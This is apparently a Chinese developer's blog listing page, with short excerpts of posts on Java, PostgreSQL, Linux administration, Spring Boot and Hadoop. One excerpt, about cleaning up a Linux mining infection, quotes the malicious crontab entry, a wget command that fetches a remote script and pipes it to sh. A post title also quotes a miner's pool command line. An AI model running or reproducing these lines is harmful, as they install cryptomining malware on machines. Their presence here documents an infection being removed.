自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(216)
  • 资源 (2)
  • 问答 (4)
  • 收藏
  • 关注

原创 【Java】导出Mysql表表结构与注释数据字典

本文介绍了如何使用Mysql表的metaData元数据信息导出表结构

2024-04-12 15:08:53 178

原创 【Java】制作pdf模板使用后端程序填充字段生成pdf或者图片

pdf模板填充内容生成pdf或图片

2024-01-09 16:56:12 949

原创 【Windows】bat杀掉指定进程

bat编写打印关闭打印echo off当前行不打印@常常看到bat文件开头就是 @ echo off变量设置变量set a=5取变量%a%%号转义%%例如SQL like '%name%' 在bat里写为 like '%%name%%'函数:funcname //函数名称 %1 //取第一个参数%2 //取第二个参数//写你的代码@ goto:eof //函数结束固定写法函数调用call ::funcname//传参call ::func

2021-12-29 14:28:57 4686

原创 【Postgresql】jsonb类型创建、更新、删除、查询

1. 创建jsonb类型的值1.1 jsonb_build_objectjsonb_build_object(key1,value1,key2,value2 ... keyN,valueN)1.2 jsonb_build_arrayjsonb_build_array(value1,value2 ...)1.3 直接将json字符串强转2. 查询https://www.postgresql.org/docs/13/functions-json.html2.1 使用key查询val

2021-11-17 11:46:55 3394

原创 消灭Linux挖矿病毒rumpostgreswk

病毒定时任务sudo crontab -u postgres -l[root@master ~]# sudo crontab -u postgres -l*/30 * * * * /home/postgres//home/postgres/data/./oka* */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh删除sudo crontab -u postgres -r

2021-09-09 11:03:08 3424

原创 【Springboot JPA】多种条件查询分页

数据库表-对应Entity产品表 my_productsproduct_nameproduct_idcreate_time(上架时间)电脑12021-08-27 17:28:57.076手机22021-08-27 17:28:57.076导管32021-08-27 17:28:57.076关联表 my_tag_relationtag_ididproduct_id111223132标签表 my_tag

2021-09-03 11:29:14 1324

原创 【Linux】NFS共享文件

在有网络的机器上下载安装包yumdownloader nfs-utils --resolve --destdir /home/nfs# 有网安装就简单了yum -y install nfs-utils安装把下载的rpm复制到没外网的的机器上安装rpm有依赖关系,乱序和有序安装最终结果都是一样的 ‘都安装了’,那就乱序强制安装命令:rpm -ivh /home/nfs/* --nodeps --force结果:[root@master bin]# rpm -ivh /home/nfs

2021-08-11 13:56:03 1535

原创 【Java】“2021-08-10T00:00:00.000Z“ “Tue Aug 10 11:23:36 CST 2021“ 时间字符串格式化

Tue Aug 10 11:23:36 CST 2021 SimpleDateFormat sdf = new SimpleDateFormat("EEE MMM dd HH:mm:ss zzz yyyy", Locale.US); String dateStr = "Tue Aug 10 11:23:36 CST 2021"; Date date = sdf.parse(dateStr); String formatStr = new SimpleDat

2021-08-10 14:17:09 3008

原创 【minio】在Linux上分布式部署minio (非Docker、K8s方式)

下载包https://dl.minio.io/server/minio/release/linux-amd64/miniolinux创建文件夹mkdir -p /home/minio/{data,run}上传minio上传刚刚下载的minio包到/home/minio/run创建启动脚本vi /home/minio/run/start.sh#!/bin/bashexport MINIO_ACCESS_KEY=adminexport MINIO_SECRET_KEY=admin123

2021-08-05 15:53:31 525

原创 【Linux】error: Failed to initialize NSS library

原因:卸载了sqlite[root@node1 ~]# rpm -qa|grep sqlsqlite-3.7.17-8.el7.x86_64rpm -e --nodeps sqlite-3.7.17-8.el7.x86_64解决办法百度搜索sqlite-3.7.17-8.el7.x86_64下载此rpm包rpm2cpio sqlite-3.7.17-8.el7_7.1.x86_64.rpm | cpio -idmv/bin/cp -rpq ./usr /...

2021-08-04 16:31:42 1914 1

原创 【Linux】查看core文件,找出系统崩溃原因

安装gdb# 在线安装yum -y install gdb# 下载# 离线安装rpm -ivh gdb-7.6.1-120.el7.x86_64.rpm

2021-08-04 15:34:42 1572

原创 【Springboot】spring cache不生效问题

搜索和实践后,是这样的同一个类中方法调用,不生效@Servicepublic class A{ public String m1(){ return m2(); } @Cacheable(cacheNames = "testCache") public String m2(){ System.out.println("m2方法体"); return "m2结果"; }}不同类,才生效@Servicepublic class A{ @Autowired private

2021-08-02 11:40:47 1205

原创 【SQL】常用sql

1. 【Postgresql】分隔字符串Splitregexp_split_to_array(layer_name,'_') layer_namestore_id1_layer_storeId1null2_layer_storeId2null3_layer_storeId3null按_分隔layer_name获取store_id设置给store_id列,注意数组下标从1开始UPDATE meta_layer set store_id = (select a

2021-07-30 10:37:23 81

原创 【DolphinScheduler】部署实录

Downloadhttps://mirrors.tuna.tsinghua.edu.cn/apache/dolphinscheduler/1.3.6/apache-dolphinscheduler-1.3.6-bin.tar.gz下载页面https://www.apache.org/dyn/closer.lua/dolphinscheduler/1.3.6/apache-dolphinscheduler-1.3.6-bin.tar.gz每个节点创建用户和sudouseradd dolphinsc

2021-07-21 17:03:08 471 1

原创 【zookeeper】安装教程(8080端口冲突、My id 6 not in the peer list )

下载安装包apache-zookeeper-3.7.0-bin.tar.gzhttps://downloads.apache.org/zookeeper/current/解压tar -zxvf apache-zookeeper-3.7.0-bin.tar.gz创建数据与日志文件夹cd apache-zookeeper-3.7.0-bin/mkdir datamkdir logs修改配置cd conf/cp zoo_sample.cfg zoo.cfgvi zoo.cfg# T

2021-07-21 15:43:44 409

原创 【部署】springboot项目打成war包部署到tomcat实录

>>>Springboot项目打成war包部署到tomcat实录springboot自带tomcat,打成jar包可以直接运行。但是如何打成war包部署在外部专用的tomcat上呢?1.依赖调整,去除springboot自带的tomcat <dependency> <groupId>org.springframework.boot</groupId> <artifactId>sprin

2021-07-21 11:31:10 213

原创 【Java】Springboot项目执行sql的方式

推荐使用jdbcTemplate使用这个,不用手动关闭Statement Connection,很方便。@Service("vTService")public class VTServiceImpl{ @Autowired @Qualifier("jdbcTemplate2") //有多个数据源的,需要名称区分 private JdbcTemplate jdbcTemplate; public String createTable(String id) {

2021-07-19 17:58:59 3764

原创 【Maven】给war添加打包时间(描述文件)

pom插件改成这样<build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <configurati

2021-06-04 14:07:01 222

原创 【ESXI】停止文件复制任务(move datastore file)

开启安全SSH,使用xshell登录,到命令行界面执行/etc/init.d/hostd restart[root@localhost:~] /etc/init.d/hostd restartwatchdog-hostd: Terminating watchdog process with PID 67311hostd stopped.hostd started.[root@localhost:~] 刷新网页,那个任务没有了,虚拟机还是正常的,完美解决!...

2021-06-03 11:00:01 2187

原创 【k8s】从0开始安装k8s

物理机安装CentOS1.制作启动盘2.物理机启动按DELETE键进入BIOS3.按右方向键 --> 选择boot,最下面选择Hard Drive BBS Priorities,选择#2选择U盘4.F10保存,后会重启5.进入安装界面,。。。,安装完成,点击按钮reboot6.物理机启动按DELETE键进入BIOS7.按右方向键 --> 选择boot,最下面选择Hard Drive BBS Priorities,刚刚选择U盘的改为disable8.F10保存,后会重启进入已经安装

2021-04-22 13:52:43 385

原创 【Springboot】JPA Entity设置表字段长度

@Column(name = "user_id", nullable = false,columnDefinition="varchar(2048) COMMENT '用户id'")

2021-04-20 15:18:54 2020

原创 【Postgres-XL】添加角色gtm_proxy

修改配置gtmProxy=y # Specify y if you conifugre at least one GTM proxy. You may not configure gtm proxies # only when you dont' configure GTM slaves. # If you specify this value not to y, the following parameters will be set to default empty

2021-03-10 17:24:06 263

原创 【Dgraph】Java调用

详细文档https://github.com/dgraph-io/dgraph4j#creating-a-clienthttps://dgraph.io/docs/clients/java/package com.data.in;import com.google.gson.Gson;import com.google.protobuf.ByteString;import io.dgraph.DgraphClient;import io.dgraph.DgraphGrpc;import i

2021-03-04 14:59:24 868 2

原创 【Dgraph】导入CSV文件

https://dgraph.io/docs/migration/loading-csv-data/将csv文件转成json安装软件yum install npmnpm install --global csv2jsoncsv2json /home/genome-tags.csv /home/genome-tags.json导入json./dgraph live -f /home/genome-tags.json

2021-03-03 16:10:48 378 1

原创 【Dgraph】Linux安装Dgraph及入门使用

下载地址https://github.com/dgraph-io/dgraph/releases/下载最新版的包用吧安装tar -zxvf dgraph-linux-amd64.tar.gz依次启动:一:nohup ./dgraph zero >> zero.log 2>&1 &(grpc占用5080端口,http占用6080,修改端口通过参数-o或者--port_offset 8(端口偏移量,例如:5080变成5088,6080变成6088)二:

2021-03-02 18:16:04 1363

原创 【Springboot】event异步执行任务

Event - 事件public class UpdateConfigEvent extends ApplicationEvent { private final String option = "update config"; private String msg; public UpdateConfigEvent(String msg) { super(msg); this.msg = msg; } public String

2021-02-26 15:56:00 361

原创 【linux】Java获取linux里某进程的pid

需要用到Jschpublic static String getProcessPid(String processFilter,boolean isJavaProcess, HostEntity hostEntity){ Session connect = null; String res = null; try { String cmd; if(isJavaProcess){

2021-02-25 18:33:22 678

原创 【CDH】启动命令

systemctl start httpdservice cloudera-scm-server start

2021-02-18 10:30:58 1339

原创 【python】修改xml文件

例如Hadoop的hdfs-site.xml<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="configuration.xsl"?><!-- Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance

2021-02-08 15:51:04 985

原创 【linux】禁止Linux访问外网

修改ip时,不配置GATEWAY就行了

2021-02-03 11:12:18 5504 1

原创 【Linux病毒】./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B

可能是在linux上安装pgadmin4时引入的病毒删除,重装虚拟机。。。

2021-02-03 10:54:12 716

转载 【SQL】刷题熟练SQL

平时工作里sql都是很简单的,面试可不会简单,所以刷题吧https://zhuanlan.zhihu.com/p/70896731

2021-01-30 10:19:29 139

原创 【Hadoop_exporter】prometheus监控hadoop

下载jmx_prometheus_javaagent-0.15.0.jarhttps://repo1.maven.org/maven2/io/prometheus/jmx/jmx_prometheus_javaagent/0.15.0/写需要监控的角色专属yamlnamenode.yamlstartDelaySeconds: 0#master为本机IP(一般可设置为localhost);1234为想设置的jmx端口hostPort: localhost:1234 #jmxUrl: servi

2021-01-30 10:02:01 4542 4

原创 【Springboot】启用gzip压缩response

加入配置就行了# springboot gzipserver.compression.enabled=trueserver.compression.mime-types=application/vnd.mapbox-vector-tile,application/javascript,text/css,application/json,application/xml,text/html,text/xml,text/plain# 默认是2048 byteserver.compression.min-

2021-01-22 14:25:58 753

原创 【Springboot】多数据源配置使用jdbcTemplate执行SQL

数据源配置文件# 多数据源配置spring: datasource: ds1: driverClassName: org.postgresql.Driver jdbc-url: jdbc:postgresql://xxx:5432/xxxx?currentSchema=public username: admin password: admin ds2: driverClassName: org.postgresql.Dri

2021-01-22 14:23:35 1103

原创 【Java】定时器Timer: 定时执行任务、每隔一段时间执行任务

最近遇到问题,需要写一个程序每隔一段时间去检测数据库超时的query,然后杀掉该query的进程。用到了Java自带的定时器。Timer用法 delay和period都是long类型的延迟时间, 单位为毫秒 timer.schedule(task, time); //在time时间执行task任务1次 timer.schedule(task, delay); //在延迟delay毫秒后执行task任务1次 timer.sch

2021-01-22 14:06:19 2874

原创 【Windows10】查看电池健康

win+r 命令行输入Powercfg /batteryreport运行此命令会在用户目录生成电池健康报告file:///C:/Users/用户名/battery-report.html用浏览器打开此网页查看即可

2021-01-16 09:37:12 1603

原创 【httpd】403 forbidden 权限问题

httpd安装成功是没有权限问题的,除非配置你修改了。httpd 403详细解决办法我遇到的情况是,配置文件没有动过,有一些文件403,修改多次配置依然无效。最后找到了原因,是selinux没有关闭。selinux如何禁用...

2021-01-15 09:38:21 697

原创 【Mysql】寻找yum安装的mysql配置的命令

寻找配置文件在哪,再修改[root@site104 CDH]# which mysql/usr/bin/mysql[root@site104 CDH]# /usr/bin/mysql --verbose --help|grep -A 1 'Default options'Default options are read from the following files in the given order:/etc/my.cnf /etc/mysql/my.cnf /usr/etc/my.cnf

2021-01-15 09:33:29 85

原创 【Postgresql】在PGXL上测试逻辑复制发布订阅功能

修改wal_level = logical#wal_level = replica # minimal, replica, or logicalwal_level = logical # minimal, replica, or logical测试开始CREATE TABLE customers ( login text PRIMARY KEY, full_name text NOT NULL, registration_date timestamptz NOT NULL DEFAU

2021-01-11 10:02:28 195

zookeeper安装教程.pdf

zookeeper安装教程.pdf,详细介绍了这么安装zookeeper,与使用znode

2019-10-10

数据分析项目by_BIGBOSS.zip

数据分析项目所有资源,包含整个项目必须的代码,答辩ppt都有!

2019-10-10

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除